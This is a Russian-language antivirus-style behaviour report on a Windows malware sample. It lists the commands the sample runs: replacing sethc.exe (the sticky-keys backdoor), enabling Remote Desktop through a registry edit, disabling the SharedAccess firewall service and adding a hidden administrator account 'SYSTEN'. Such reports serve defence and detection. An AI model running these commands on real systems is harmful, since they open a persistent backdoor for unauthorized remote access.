Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\TermService] 'Start' = '00000002'
Изменяет следующие исполняемые системные файлы:
- <SYSTEM32>\sethc.exe
Подменяет следующие исполняемые системные файлы:
- <SYSTEM32>\dllcache\sethc.exe файлом <SYSTEM32>\dllcache\sethc.exe.new
Заражает следующие исполняемые файлы:
- <SYSTEM32>\dllcache\sethc.exe.new
- <SYSTEM32>\sethc.exe
Вредоносные функции:
Создает и запускает на исполнение:
- '<SYSTEM32>\hide_admin.exe' SYSTEN 0
Запускает на исполнение:
- '<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
- '<SYSTEM32>\net1.exe' start TermService
- '<SYSTEM32>\attrib.exe' <SYSTEM32>\sethc.exe +h
- '<SYSTEM32>\sc.exe' config SharedAccess start= disabled
- '<SYSTEM32>\sc.exe' config TermService start= auto
- '<SYSTEM32>\net.exe' stop sharedaccess
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\setup.bat" "
- '<SYSTEM32>\net1.exe' stop sharedaccess
- '<SYSTEM32>\net1.exe' user SYSTEN /del
- '<SYSTEM32>\net1.exe' user SYSTEN 0 /add
Изменения в файловой системе:
Создает следующие файлы:
- <SYSTEM32>\setup.bat
- <SYSTEM32>\hide_admin.exe
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
